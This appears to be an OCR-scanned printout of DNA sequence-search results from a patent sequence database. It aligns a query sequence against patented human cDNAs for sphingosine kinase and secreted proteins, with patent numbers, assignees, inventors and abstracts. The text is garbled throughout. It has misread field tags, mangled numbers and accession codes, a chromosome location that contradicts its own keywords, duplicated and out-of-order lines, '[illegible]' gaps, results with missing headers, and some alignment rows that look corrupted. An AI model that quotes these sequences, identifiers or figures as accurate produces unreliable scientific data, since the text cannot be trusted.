Db	1438	CGGTTGGCTGAGAGCCCCCGCCAGCTGGAAGCCCGACAGATGCCACCGCAGAAAGACC	1497
OY	1323	CTTATGACCCCTGGGGCGCGGCTGTAGCCCTTATGTCATCTTGCAGAGACCCTTCCCTCTTCC	1387
Db	1498	CTTATGACCCCTGGGGCGCGGCTGTAGCCCTTATGTCATCTTGCAGAGACCCTTCCCTCTTCC	1557
OY	1383	CTAGGGCTGCAAGGCGCTGTCCACAGCTCTGTGGGGGTGGAAGAGACTCTCTGGAGAAG	1442
Db	1558	CTAGGGCTGCAAGGCGCTGTCCACAGCTCTGTGGGGGTGGAAGAGACTCTCTGGAGAAG	1617
OY	1443	GGTGAAGAAGGTGAGGCGTATGCTTGTGGGGGACAGGCCAGAAATGAAGTCTGGGTACAGA	1502
Db	1618	GGTGAAGAAGGTGAGGCGTATGCTTGTGGGGGACAGGCCAGAAATGAAGTCTGGGTACAGA	1677
OY	1503	GCCCAGCTGTGTGGGGCCAGCTGCCTATATGAAGGCTTCTAGTTTGTCTAGAACCCCA	1562
Db	1678	GCCCAGCTGTGTGGGGCCAGCTGCCTATATGAAGGCTTCTAGTTTGTCTAGAACCCCA	1737
OY	1563	CCCCACGAAACCAATTCCAATTAAGTGCATTTCC	1597
Db	1738	CCCCACGAAACCAATTCCAATTAAGTGCATTTCC	1772

RESULT 4	
AA004477	
ID	AA004477 standard; cDNA; 1719 BP.
XX	
AC	AA004477;
XX	
DT	04-JUL-2001 (first entry)
XX	
DE	Human sphingosine kinase type 1 (hsk1) cDNA.
XX	
KW	Human; sphingosine kinase type 1; sk1; chromosome 17q25.2;
KW	sphingosine-1-phosphate; S1P; drug screening; therapy; haemostasis;
KW	thrombosis; allergic reaction; proliferative disease; cancer;
KW	haematopoietic disorder; leukaemia; cardiovascular disease; stroke;

KM	atherosclerosis; coronary artery disease; dyslipidaemia; diabetes;
KM	autoimmune disease; inflammatory disease; multiple sclerosis;
KM	T helper-1 related disease; chronic obstructive pulmonary disease;
KM	asthma; myocardial infarction; neurodegenerative disorder;
KM	wound healing; embryogenesis; anticoagulant; cerebroprotective;
KM	neuroprotective; antipsoriatic; antirheumatic; cyostatic; cardiant;
KM	vulnery; ss.
OS	Homo sapiens.
XX	
XX	
FH	Key
FF	CDS
FF	Location/Qualifiers
FF	270..1424
FF	/*tag= a
FF	/product= "human sphingosine kinase type 1 (hsk1)"
FF	/note= "CDS is specifically claimed in claim 2 and
FF	shown as SEQ ID NO 2"
FF	1675..1681
FF	/*tag= b
FF	264..273
FF	misc_feature
FF	/*tag= C
FF	/note= "translational initiator ATG is in a partial
FF	Kozak consensus"

XX WO200131029-A2.
 PN
 XX
 PD 03-MAY-2001.
 XX
 PF 27-OCT-2000; 2000WO-EP09498.
 XX
 PR 28-OCT-1999; 99US-0162207.
 PR 07-FEB-2000; 2000US-0180525.
 XX
 PA (WARN) WARNER LAMBERT CO.
 XX
 PI Allen J, Gosink M, Melendez AJ, Takacs L;
 XX WPI: 2001-300510/31.
 DR P-PSDB; AA000924.

AA New human sphingosine kinase type I gene for screening drug candidates
PT particularly inhibitors used for preventing or treating e.g.
PT atherosclerosis, thrombosis, asthma and diabetes -
PT
XX
PS Claim 2; Fig 1; 91pp; English.

CC The present sequence is human sphingosine kinase type 1 (hsk1) cDNA.
CC The hsk1 gene is located on chromosome 1/425.2. The sk1 converts the
CC substrate sphingosine to sphingosine-1-phosphate (S1P). The sk1 gene
CC and encoded polypeptide are applicable in screening drug candidates
CC particularly inhibitors for preventing or treating disorders such as
CC haemostasis, allergic reactions, proliferative diseases
CC including cancer, haematopoietic disorders such as leukaemia,
CC cardiovascular diseases such as stroke, atherosclerosis and coronary
CC artery disease, dyslipidaemia, diabetes including type I and type II
CC diabetes, autoimmune and inflammatory diseases such as multiple
CC sclerosis, T helper-1 related diseases, chronic obstructive pulmonary
CC disease, asthma, myocardial infarction, neurodegenerative disorders,
CC natural wound healing processes and embryogenesis.

Sequence 1719 BP; 305 A; 529 C; 556 G; 329 T; 0 other;

Query Match	94.8%	Score 1516.2;	DB 22;	Length 1719;
Best Local Similarity	97.7%;	Pred. No. 4.5e-308;		
Matches 160;	Conservative	0;	Mismatches 33;	Indels 4;
				Gaps 2.

QY | CC CGGGGGTTCCTATATGCGACGGCTCGGGGGGGGAAAGCGACCCACACCGCGGCTTG 62
Db | 102 CACCGTGTCTCTACAGCCACGGCTCCGGGGGGGAAAGGAGGCCACAG---CGGCGCTG 158
QY | 63 GCACGCCCGCTTGCGGACGACCGATTAAGGAGCTGAAGGACGAGGCGCGCGCCACGGGCGAG 122
Db | 159 GCACGCCCGCTTGCGGACGACCGATTAAGGAACTGAAGGACGAGGAGCGCGCGCCAC-6GCGAG 217

PT polynucleotides for diagnosis, prevention and treatment of
PT neurological, cell proliferative and autoimmune/inflammatory disorders
PT
XX
PS
XX
Claim 4; Page 89; 96pp; English.

Claim 4; Page 89; 96pp; English.

CC The prelat sequence encodes a human regulator of intracellular
CC phosphorylation (HRIP). HRIP is useful for screening agonists and
CC antagonists of HRIP polypeptide. HRIP and its agonist or antagonist
CC are useful for treating a disease or condition associated with
CC decreased or increased expression of functional HRIP. Diseases treated
CC or diagnosed include neurological disorders such as stroke, Parkinson's
CC disease, demyelinating diseases, bacterial and viral meningitis and
CC other developmental disorders of the central nervous system,
CC neuromuscular disorders, myasthenia gravis, cell proliferative disorders
CC such as actinic keratosis, arteriosclerosis, atherosclerosis and cancer
CC including leukemia, melanoma, myeloma and cancer of the adrenal gland,
CC bladder, bone, bone marrow, liver, lung, muscle, ovary, autoimmune/
CC inflammatory disorder such as Addison's disease, acquired
CC immunodeficiency diseases, allergies, bronchitis, diabetes mellitus,
CC rheumatoid arthritis, microbial infection and trauma.

SQ Sequence 1573 BP; 274 A; 480 C; 514 G; 305 T; 0 other;

Query Match	94.5%	Score 1511.6	DB 21	Length 1573
Best Local Similarity	98.7%	Pred. No. 4.1e-307		
Matches 1534; Conservative	0	Mismatches 19	Indels 1	Gaps 1

QY	4	GGCCCAACAGCCGGGCGCTGAGAGCCCGCTGGGACAGACGATTAAGAGCTGAAAGCAG	104
Db	1	GGCCCAACAGCCGGGCGCTGAGAGCCCGCTGGGACAGACGATTAAGAGCTGAAAGCAG	60
QY	105	AGCCGCGCCACAGGGGACGGCCGCCACAGCGCCAGGGACCCCTTGCGACGGGGAGCCGG	164
Db	61	AGCCGCGCGCCACAGGGGACAGCG - CCCCACAGCGCCAGGGACCCCTTGCGACGGGGAGCCGG	119
QY	165	GGGCGAGGTTATGATATCCAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG	224
Db	120	GGTGTAGGTTATGATATCCAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG	179
QY	225	GCTGTGCTGTGAACCCGCGCGGGGAGGACAAAGGACCTTGCAGCTTCTTCCGGAGTCA	284
Db	180	GCTGTGCTGTGAACCCGCGCGGGGAGGACAAAGGACCTTGCAGCTTCTTCCGGAGTCA	239
QY	285	CGTGCAGCCCGCTTTTGGCTGAGAGCTGAAATTCCTTACGTATGCTCACTAGAGCGCG	344
Db	240	CGTGCAGCCCGCTTTTGGCTGAGAGCTGAAATTCCTTACGTATGCTCACTAGAGCGCG	299
QY	345	GAACCAACGGCGGGAGCTGTGCGGGTCGAGAGACTGGCGCGCTGGAGACCTCTGGGGGT	404
Db	300	GAACCAACGGCGGGAGCTGTGCGGGTCGAGAGACTGGCGCGCTGGAGACCTCTGGGGGT	359
QY	405	CATGTCGTGAGACGGGCTGATGACAGAGTGTTGAACGGGCTCATGAGAGCGGCTGACTG	464
Db	360	CATGTCGTGAGACGGGCTGATGACAGAGTGTTGAACGGGCTCATGAGAGCGGCTGACTG	419
QY	465	GGAGAGCCGCGCATTCAGAAAGCCCTCTGTGTAAGCTCCCAAGAGCTCTGGCAACGCGTGGC	524
Db	420	GGAGAGCCGCGCATTCAGAAAGCCCTCTGTGTAAGCTCCCAAGAGCTCTGGCAACGCGTGGC	479
QY	525	AGCTTCCTTGAACCACTTATGTGCGGTATGAGACAGGTACCAATTAAGACCTCTGACCAA	584
Db	480	AGCTTCCTTGAACCACTTATGTGCGGTATGAGACAGGTACCAATTAAGACCTCTGACCAA	539
QY	585	CTGCAGAGCTATTGCTGTGTGCGCGCGGGTGTCTCAACCATGAACCTGTTCTCTGCACAC	644
Db	540	CTGCAGAGCTATTGCTGTGTGCGCGCGGGTGTCTCAACCATGAACCTGTTCTCTGCACAC	599
QY	645	GGCTTCGGGGCTGGCGCTGTCTCTGTCGTCAAGCTGACCGCGGGGGCTTCAATCTGATGT	704
Db	600	GGCTTCGGGGCTGGCGCTGTCTCTGTCGTCAAGCTGACCGCGGGGGCTTCAATCTGATGT	659
QY	705	GGACCTAGAGAGTATTAAGTATCGGCGCTTGGGGGAGATGCGCTTCACTCTGGGACCTT	764

[illegible]

KW	immune system; asthma; lymphocytic disease; brain; hepatic; lymphoma;
KM	inflammation; ischemic shock; Alzheimer's disease; restenosis; AIDS;
KM	cognitive disorder; schizophrenia; prostate; obesity; osteoclasts; thymus
KW	osteoporosis; arthritis; testis; lung; thyroiditis; thyroid; digestion;
KM	endocrine; metabolism; regulation; malabsorption; gastritis; neoplasm.
XX	
OS	Homo sapiens.
XX	
PN	W09854963-A2.
XX	
PD	10-DEC-1998.
XX	
PF	04-JUN-1998; 98MO-US11422.
XX	
PR	18-DEC-1997; 97US-0070923.
PR	06-JUN-1997; 97US-0048877.
PR	06-JUN-1997; 97US-0048881.
PR	06-JUN-1997; 97US-0048884.
PR	06-JUN-1997; 97US-0048893.
PR	06-JUN-1997; 97US-0048896.
PR	06-JUN-1997; 97US-0048899.
PR	06-JUN-1997; 97US-0048915.
PR	06-JUN-1997; 97US-0048949.
PR	06-JUN-1997; 97US-0048964.
PR	06-JUN-1997; 97US-0048972.
PR	06-JUN-1997; 97US-0049020.
PR	06-JUN-1997; 97US-0049375.
PR	05-SEP-1997; 97US-0057628.
PR	05-SEP-1997; 97US-0057635.
PR	05-SEP-1997; 97US-0057644.
PR	05-SEP-1997; 97US-0057647.
PR	05-SEP-1997; 97US-0057650.
PR	05-SEP-1997; 97US-0057661.
PR	05-SEP-1997; 97US-0057667.
PR	05-SEP-1997; 97US-0057761.
PR	05-SEP-1997; 97US-0057764.
PR	05-SEP-1997; 97US-0057770.
PR	05-SEP-1997; 97US-0057775.
PR	05-SEP-1997; 97US-0057778.
PR	06-JUN-1997; 97US-0048875.
PR	06-JUN-1997; 97US-0048878.
PR	06-JUN-1997; 97US-0048882.
PR	06-JUN-1997; 97US-0048885.
PR	06-JUN-1997; 97US-0048894.
PR	06-JUN-1997; 97US-0048897.
PR	06-JUN-1997; 97US-0048900.
PR	06-JUN-1997; 97US-0048916.
PR	06-JUN-1997; 97US-0048967.
PR	06-JUN-1997; 97US-0048970.
PR	06-JUN-1997; 97US-0048974.
PR	06-JUN-1997; 97US-0049373.
PR	05-SEP-1997; 97US-0057584.
PR	05-SEP-1997; 97US-0057629.
PR	05-SEP-1997; 97US-0057642.
PR	05-SEP-1997; 97US-0057645.
PR	05-SEP-1997; 97US-0057648.
PR	05-SEP-1997; 97US-0057651.
PR	05-SEP-1997; 97US-0057662.
PR	05-SEP-1997; 97US-0057668.
PR	05-SEP-1997; 97US-0057762.
PR	05-SEP-1997; 97US-0057765.
PR	05-SEP-1997; 97US-0057771.
PR	05-SEP-1997; 97US-0057776.
PR	06-JUN-1997; 97US-0048876.
PR	06-JUN-1997; 97US-0048880.
PR	06-JUN-1997; 97US-0048883.
PR	06-JUN-1997; 97US-0048892.
PR	06-JUN-1997; 97US-0048895.
PR	06-JUN-1997; 97US-0048898.
PR	06-JUN-1997; 97US-0048901.
PR	06-JUN-1997; 97US-0048917.
PR	06-JUN-1997; 97US-0048963.
PR	06-JUN-1997; 97US-0048971.

PR	06-JUN-1997;	97US-0049019.
PR	06-JUN-1997;	97US-0049374.
PR	05-SEP-1997;	97US-0057627.
PR	05-SEP-1997;	97US-0057634.
PR	05-SEP-1997;	97US-0057643.
PR	05-SEP-1997;	97US-0057646.
PR	05-SEP-1997;	97US-0057649.
PR	05-SEP-1997;	97US-0057654.
PR	05-SEP-1997;	97US-0057666.
PR	05-SEP-1997;	97US-0057760.
PR	05-SEP-1997;	97US-0057763.
PR	05-SEP-1997;	97US-0057769.
PR	05-SEP-1997;	97US-0057774.
PR	05-SEP-1997;	97US-0057777.
XX		
PA	(HUMA-) HUMAN GENOME SCI INC.	
XX		
PI	Brewer LA, Carter KC, Dillon PT, Ebner R, Endress GA;	
PI	Fan P, Feng P, Ferrile AM, Fischer CL, Florence C;	
PI	Florence K, Greene JM, Hu J, Kyaw H, Latleir DM;	
PI	Li Y, Moore PA, Ni J, Olsen HS, Rosen CA, Ruben SM;	
PI	Shi Y, Soppet DR, Wei Y, Young P, Yu G, Zeng Z;	
XX		
DR	WPI: 1999-059865/05.	
XX	P-PSDB: AAM88613.	
XX		
PT	New isolated human genes and the secreted polypeptides they encode -	
PT	useful for diagnosis and treatment of e.g. cancers, neurological	
PT	disorders, immune diseases, inflammation or blood disorders	
XX		
PS	Claim 4; Page 343; 772pp: English.	
XX		
XX	The invention relates to nucleic acid sequences (AAV84411 to AAV84633)	
CC	encoding human secreted proteins (AAM88534 to AAM88756). The secreted	
CC	protein gene sequences are deposited with the ATCC under deposit numbers	
CC	ATCC 97979, 97974, 97975, 97976, 97977, 209007, 209008, 209009, 209010,	
CC	209011, 209080, 209081, 209082, 209083, 209084, 209085, 209511. Host	
CC	cells comprising recombinant vectors containing the nucleic acid	
CC	sequences are used for the recombinant production of the secreted	
CC	proteins. The polynucleotide and amino acid sequences are useful for are	
CC	useful for preventing, treating or ameliorating medical conditions e.g.	
CC	by protein or gene therapy. Pathological conditions can be also	
CC	diagnosed by determining the presence of mutations in the new polynucleotides.	
CC	or by determining the presence of mutations in the new polynucleotides, based on	
CC	Specific uses are described for each of the polynucleotides, and include developing	
CC	which tissues they are most highly expressed in, and include developing	
CC	products for the diagnosis or treatment of cancer, neurodegenerative	
CC	disorders, developmental abnormalities and foetal deficiencies, blood	
CC	disorders, tumours, leukemias, diseases of the immune system, autoimmune	
CC	diseases, hepatic and renal disease, lymphomas, inflammation, allergies,	
CC	ischemic shock, Alzheimer's and cognitive disorders, schizophrenia,	
CC	restenosis, prostate diseases, obesity, disorders involving osteoclasts	
CC	such as osteoporosis, arthritis or malignancies, diseases of testes,	
CC	lung or thymus, digestive/endocrine disorders, infections and AIDS. The	
CC	polypeptides are also useful for identifying their binding partners.	
CC	The present sequence represents a gene encoding a human secreted protein	
CC	(see descriptor line for gene number and clone identification).	
XX		
SQ	Sequence 1533 BP; 272 A; 454 C; 495 G; 302 T; 10 other;	
XX		
QY	Query Match	89.28; Score 1426.8; DB 20; Length 1533;
Db	Best Local Similarity	97.8%; Pred. No. 2,3e-289;
Db	Matches 1459; Conservative	6; Mismatches 25; Indels 2; Gaps 2
QY	109 GCGGCACGGGACGAGCGGCCACACAGGCGCAAGGACCCCTGTGACGCGGAGCGCGGCGTC	168
Db	8 GCGGCACGGGACGAGCGGCCACACAGGCGCAAGGACCCCTGTGACGCGGAGCGCGGCGTC	66
QY	169 GAGGTATGATCCAGCGGGCGGCGCCCGGGGCGTCTCCCGCGCCCTTGGCCGCTGCTG	228
Db	67 GAGGTATGATCCAGCGGGCGGCGCCCGGGGCGTCTCCCGCGCCCTTGGCCGCTGCTG	126
QY	229 GTGCTGCTGAACCCCGCGGCGGCGGCAAGGCAAGGCGCTTGACGCTCTTCGCGGATCACTG	288

Db	1207	ACGGCAGAAAGGCCCTTATGACACCCCTGAGGCCGGCGTGTGCTAGTACTACTATTCGACAGG	1266
Qy	1368	ACCCCTCTCTCTTCCCTAGAGGCGCTCAGAGGCGCTGTCCACAGCTCTGTGTGGGGTGTGAGAGC	1427
Db	1267	ACCCCTCTCTCTTCCCTAGAGGCGCTCAGAGGCGCTGTCCACAGCTCTGTGTGGGGTGTGAGAGC	1326
Qy	1428	ACTCCTCTGGAAGAGGGGTGAACAAGGTGAGGCTTATGCTTTGGGGGGGACAGGCCAGAAATGA	1487
Db	1327	ACTCCTCTGGAAGAGGGGTGAACAAGGTGAGGCTTATGCTTTGGGGGGGACAGGCCAGAAATGA	1386
Qy	1488	AGTCTCTGGGTGAGAGAGCCACAGCTGTGGTGGGCCACAGTGTCCATATGTAAAGGCTTCTAGCTTT	1547
Db	1387	AGTCTCTGGGTGAGAGAGCCACAGCTGTGGTGGGCCACAGTGTCCATATGTAAAGGCTTCTAGCTTT	1446
Qy	1548	GTCTGTGAGACCCCGACCCACGAAACCAATCCAATAAAGTAGACATTTCCAA	1599
Db	1447	GTCTGTGAGACCCCGACCCCGACGAAACCAATCCAATAAAGTAGACATTTCCAA	1498
RESULT 7			
ABAB83273			
ID	ABA83273	standard; cDNA; 1533 BP	
AC	ABA83273;		
XX			
DT	07-FEB-2002	(first entry)	
XX			
DE	Human secreted protein gene 80 SEQ ID NO:90.		
XX			
KW	Human; secreted protein; immunomodulatory; antisclerotic; anti-HIV;		
KW	dermatological; immunosuppressive; antinflammatory; immunostimulant;		
KW	cytostatic; cardiac; vascular; anti-angiogenic; ophthalmological;		
KW	neuroprotective; nootropic; anticonvulsant; antialzheimers; vulnery;		
KW	antiparkinsonian; antimicrobial; gene therapy; vaccine; immune disorder;		
KW	multiple sclerosis; systemic lupus erythematosus; HIV infection; cancer;		
KW	human immunodeficiency virus; hyperproliferative disorder; wound healing;		
KW	Gaucher's disease; cardiovascular disease; Schutar syndrome; chemoctaxis;		
KW	Chaga's cardiomyopathy; coronary arteriosclerosis; anglogenic disorder;		
KW	corneal graft neovascularisation; diabetic retinopathy; regeneration;		
KW	neurological disorder; Huntington's chorea; Alzheimer's disease;		
KW	Parkinson's disease; infectious disease; chromosome 17; ss.		
XX			
OS	Homo sapiens.		
XX			
PN	WO200162891-A2.		
XX			
PD	30-AUG-2001.		
XX			
XX	21-FEB-2001; 2001WO-US05614.		
XX			
PR	24-FEB-2000; 2000US-184836P.		
XX			
PR	29-MAR-2000; 2000US-193170P.		
XX			
PA	(HUMA-) HUMAN GENOME SCI INC.		
XX			
XX	Ni J, Ebnert R, Lafleur DM, Moore PA, Olsen HS, Rosen CA;		
PI	Ruben SM, Soppet DR, Young PE, Shi Y, Florence KA, Wei Y;		
PI	Florence C, Hu J, Kyaw H, Fischer CL, Ferlie AM, Fan P;		
PI	Feng P, Endress GA, Dillon PJ, Carter KC, Brewer LA, Yu G;		
PI	Zeng Z, Greene JM;		
XX			
DR	WP1; 2001-625724/72.		
DR	P-PSDB; ABB50380.		
XX			
PT	Nucleic acids encoding 207 human secreted polypeptides, useful for		
PT	preventing, diagnosing and/or treating, e.g. cancers, Parkinson's		
PT	disease and diabetic retinopathy		
XX			
PS	Claim 1; Page 965; 1533p; English.		
XX			
CC	ABAB50301 to ABB51287 and ABA83194 to ABA83441 represent human secreted		
CC	proteins (I) and polynucleotide (II) sequences. (I) and (II) have various		
CC	activities based on the tissues and cells the genes are expressed in.		

828 GGGTTCAAGACACCTGCTTCCCCCGTTGTGGTCCAGCAGGGCCGGTAGATGCACACCT 88

XX

WO200153312-A1

RESULT 9
ID AAA50508 standard; cDNA; 1447 BP.
XX
AC AAA50508;
XX
DT 05-DEC-2000 (first entry)
XX
DE Human sphingosine kinase A cDNA.
XX
KW Sphingosine kinase A; SKA; human; drug screening; infection;
KM anti-inflammatory; anti-allergic; anticancer; inflammation; allergy;
KW cancer; therapy; diagnosis; ds.
XX
OS Homo sapiens.
XX
FT Key Location/Qualifiers
FT CDS 7..1161
FT /tag- a
XX
XX MO200052173-A2.
XX
XX 08-SEP-2000.
XX
XX 02-MAR-2000; 2000MO-CA00223.
XX
XX 02-MAR-1999; 99US-0122516.
XX
XX (ALIX) NPS ALLELIX CORP.
XX
XX Munroe D, Gupta A, Falzone GR;
XX
XX WPI: 2000-572185/53.
XX
XX P-PSDB: AAY06057.
XX
XX New human sphingosine kinase A, B and C polynucleotides and
XX polypeptides useful in e.g. chromosome and gene mapping, and detecting
XX inflammation or disease associated with abnormal levels of sphingosine
XX kinase expression
XX
XX
XX Disclosure: Fig 1; 81pp; English.
XX
XX The present sequence is that of an isolated polynucleotide encoding
XX human sphingosine kinase A (SKA, see AAY96057), an enzyme that
XX phosphorylates sphingosine to form sphingosine 1-phosphate.
XX The polynucleotide was isolated from an Hela cDNA library by
XX PCR amplification. The invention provides polynucleotides (see
XX AAA50508-10) and polypeptides (see AAY96057-59) for the human
XX sphingosine kinase (SK) homologues SKA, SKB and SKC. The
XX polynucleotides may be used as hybridization probes, in the
XX construction of PCR primers for chromosome and gene mapping, in
XX the recombinant production of SKA, SKB and SKC, and in the
XX generation of antisense DNA or RNA. They can be used to detect
XX inflammation or disease associated with abnormal levels of SK
XX expression, or to detect differences in gene sequence between
XX normal and carrier or affected individuals. Host cells expressing
XX SK can be used in drug screening. Human SK specific antibodies,
XX inhibitors, ligands or their analogues can be used as bioactive
XX agents to treat inflammation or disease including viral, bacterial
XX or fungal infections, allergic responses, mechanical injury
XX associated with trauma, hereditary diseases, lymphoma or carcinoma,
XX and other conditions with activate the genes of kidney, lung,
XX heart, lymphoid or tissues of the nervous system.
XX
XX Sequence 1447 BP; 256 A; 427 C; 465 G; 299 T; 0 other;
SQ
Query Match 87.0%; Score 1391; DB 21; Length 1447;
Best Local Similarity 98.3%; Pred. No. 7.1e-282;
Matches 1406; Conservative 0; Mismatches 25; Indels 0; Gaps 0;
QY 169 GAGGTTATGATCCAGCGGGGCCCCCGGGGGGCTCTCCCGGGCGCCGCGGCTG 228
|||||

Db 1 GAGGTTATGATCCAGCGGGGCCCCCGGGGGGCTCTCCCGGGCGCCGCGGCTG 60
QY 229 GTGCTGCTGAACCCGCGGCGCGCAGGCGCAAGCCCTTGAGCTCTTCCGGAGTCA 288
Db 61 GTGCTGCTGAACCCGCGGCGCGCAGGCGCAAGCCCTTGAGCTCTTCCGGAGTCA 120
QY 289 CAGCCCTTTGGCTGAGGGCTGAATCTCTTCACGCTGATGCTACTGAGCGCGA 348
Db 121 CAGCCCTTTGGCTGAGGGCTGAATCTCTTCACGCTGATGCTACTGAGCGCGA 180
QY 349 CAGCGCGGAGCTGATGCTGAGGAGCTGAGGAGCTGAGGAGCTGAGGAGCT 408
Db 181 CAGCGCGGAGCTGATGCTGAGGAGCTGAGGAGCTGAGGAGCTGAGGAGCT 240
QY 409 TCTGAGACGGGCTGATGCTGAGGAGCTGAGGAGCTGAGGAGCTGAGGAG 468
Db 241 TCTGAGACGGGCTGATGCTGAGGAGCTGAGGAGCTGAGGAGCTGAGGAG 300
QY 469 ACCGCCATCCAGAAAGCCCTGCTGAGCTCCAGCAGGCTCTGCAACGCGCTG 528
Db 301 ACCGCCATCCAGAAAGCCCTGCTGAGCTCCAGCAGGCTCTGCAACGCGCTG 360
QY 529 TCTTGAACCATTTATGCTGCTATGAGAGGCTCAACCATGAAAGCTCTGACCA 588
Db 361 TCTTGAACCATTTATGCTGCTATGAGAGGCTCAACCATGAAAGCTCTGACCA 420
QY 589 ACGCTATTGCTGCTGCGCGCGGCTGCTGACCATGAACCTGCTCTGACAGGCT 648
Db 421 ACGCTATTGCTGCTGCGCGCGGCTGCTGACCATGAACCTGCTCTGACAGGCT 480
QY 649 TCGGGGCTGCGCTGCTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 708
Db 481 TCGGGGCTGCGCTGCTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 540
QY 709 CTAGAGAGTATGATGAGTGGGGGCTGAGGAGGATGAGCTGCTGCTGCTG 768
Db 541 CTAGAGAGTATGATGAGTGGGGGCTGAGGAGGATGAGCTGCTGCTGCTG 600
QY 769 CGTCTGCGAGCCCTGCGCAGCTACACGCGGCGAGCTGCTACCTCTCTGTA 828
Db 601 CGTCTGCGAGCCCTGCGCAGCTACACGCGGCGAGCTGCTACCTCTCTGTA 660
QY 829 GGTTCAGACACCTGCTTCCCGCTTGTGTCAGCAGGCGCGGTATGATCACA 888
Db 661 GGTTCAGACACCTGCTTCCCGCTTGTGTCAGCAGGCGCGGTATGATCACA 720
QY 889 GTGCCACTGAGGAGAGTGGCTTCTGCTGCTGCTGCTGCTGCTGCTGCTG 948
Db 721 GTGCCACTGAGGAGAGTGGCTTCTGCTGCTGCTGCTGCTGCTGCTGCTG 780
QY 949 CTAGCTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1008
Db 781 CTAGCTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 840
QY 1009 CGCTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1068
Db 841 CGCTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 900
QY 1069 CTGCTGCGCTCTTCTGCGCATGAGAGAGGAGAGGATGAGATGAGATG 1128
Db 901 CTGCTGCGCTCTTCTGCGCATGAGAGAGGAGAGGATGAGATGAGATG 960
QY 1129 TTGCTATATGCGCGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1188
Db 961 TTGCTATATGCGCGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1020
QY 1189 GCAGTGTATGAGGAGATGATGATGATGAGGAGGCGGTGAGGCGCAAGTGTAC 1248
Db 1021 GCAGTGTATGAGGAGATGATGATGATGAGGAGGCGGTGAGGCGCAAGTGTAC 1080
QY 1249 TTCTGATGCTGACGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1308
Db 1081 TTCTGATGCTGACGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1140

[illegible]

Db 727 GCCCGTAGATGACACACCTGTGTCACAGAGAGACCCCTCTCTCATCTGACATGG 786
Qy 929 TGCCGACGAGACTTTGTGTAGTCTGAGACCTGCTGACCTGCGACCTGGCGAGTGA 988
Db 787 TGCCGACGAGACTTTGTGTAGTCTGAGACCTGCTGACCTGCGACCTGGCGAGTGA 846
Qy 989 TGTTCGTGACACCATGAGGCGCGCTGTGACAGCTGGCGCTGATGATCTGTTCTACGTGCGG 1048
Db 847 TGTTCGTGACACCATGAGGCGCGCTGTGACAGCTGGCGCTGATGATCTGTTCTACGTGCGG 906
Qy 1049 CGGAGTGTCTGTGTCATGCTGCTGCGCTCTCTCTGTCATGAGAGAGGCGACGATA 1108
Db 907 CGGAGTGTCTGTGTCATGCTGCTGCGCTCTCTCTGTCATGAGAGAGGCGACGATA 966
Qy 1109 TGAATATGATGACCCCTACTTGTGATATGTCGCGCTGTGCGCTTGTGAGCCCA 1168
Db 967 TGAATATGATGACCCCTACTTGTGATATGTCGCGCTGTGCGCTTGTGAGCCCA 1026
Qy 1169 AGGATGGAGAAAGTGTGTCAGATGATGGGAAATGATGATGACGAGCGCTGACAG 1228
Db 1027 AGGATGGAGAAAGTGTGTCAGATGATGGGAAATGATGATGACGAGCGCTGACAG 1086
Qy 1229 GCCAGGTGACCCCAACTACTTCTGTGATGTCAGCGCTTGTGAGCGCCCGCCAGCT 1288
Db 1087 GCCAGGTGACCCCAACTACTTCTGTGATGTCAGCGCTTGTGAGCGCCCGCCAGCT 1146
Qy 1289 GGAAGCCCGACAGATGCGACCGCGAGAGAGCCCTTATGACC 1331
Db 1147 GGAAGCCCGACAGATGCGACCGCGAGAGAGCCCTTATGATC 1189

RESULT 12

ABL59532
ID ABL59532 standard; cDNA; 1173 BP.

AC ABL59532;

DT 16-JUL-2002 (first entry)

DE Human sphingosine kinase (SphK1) cDNA SEQ ID NO:32.

KM Human; sphingosine kinase; SphK1; enzyme; chromosome 17q25.2; gene;
tumour; lipid associated gene; lipid metabolism; lipid synthesis; ss.

OS Homo sapiens.

PN W0200227028-A1.

PD 04-APR-2002.

PF 27-SEP-2001; 2001MO-US30366.

PR 28-SEP-2000; 2000US-0676052.

PA (ATAI-) ATAIRGIN TECHNOLOGIES INC.

PI Skinner MK, Patton JL, Chaudhary J;

DR WPI: 2002-402054/43.

PT Identifying tumor characteristics in a tissue sample taken from a
patient, involves determining the copy number or expression level of
genes associated with lipid metabolism, synthesis or action -

PS Example 1; Page 90; 113pp; English.

CC The present invention describes a method for identifying tumour
characteristics, comprising measuring a copy number or expression level
of at least two genes associated with lipid metabolism, synthesis, or
action in cells from a patient tissue sample, and comparing the results
with a copy number or expression level of the genes in a normal cell.
CC Also described is an array of nucleic acid polymers immobilised on a
solid support, comprising a solid support, at least two different nucleic

CC acid polymers which are each specific for a different gene associated
with lipid metabolism, synthesis or action, where each nucleic acid
polymer is located at a predetermined position on the solid support, and
the array comprises nucleic acid polymers which are specific for less
than 100 genes other than the selected genes. The method is useful for
determining tumour characteristics in a tissue sample taken from a
patient. The present sequence represents a human lipid-associated gene
related cDNA sequence, which is used in the exemplification of the
present invention.

SQ Sequence 1173 BP; 188 A; 349 C; 390 G; 246 T; 0 other:

Query Match 71.2%; Score 1137.8; DB 24; Length 1173;

Best Local Similarity 98.1%; Pred. No. 6; 7e-229;

Matches 1151; Conservative 0; Mismatches 22; Indels 0; Gaps 0;

Qy 157 GAGCGCGGCTGAGGTTATGATTCACGCGGCGCCCGCGGCGTCTCCCGGCGCC 216
Db 1 GAGCGCGGCTGAGGTTATGATTCACGCGGCGCCCGCGGCGTCTCCCGGCGCC 60
Qy 217 TGCCGCGTGTGCTGCTGTAACCGCGCGCGCGCAAGGCGACGCTGCTTC 276
Db 61 TGCCGCGTGTGCTGCTGTAACCGCGCGCGCGCAAGGCGACGCTGCTTC 120
Qy 277 CGGACTCAGTGCACGCCCTTTTGGCTGAGGCTGAATCTCTTCACGCTGACT 336
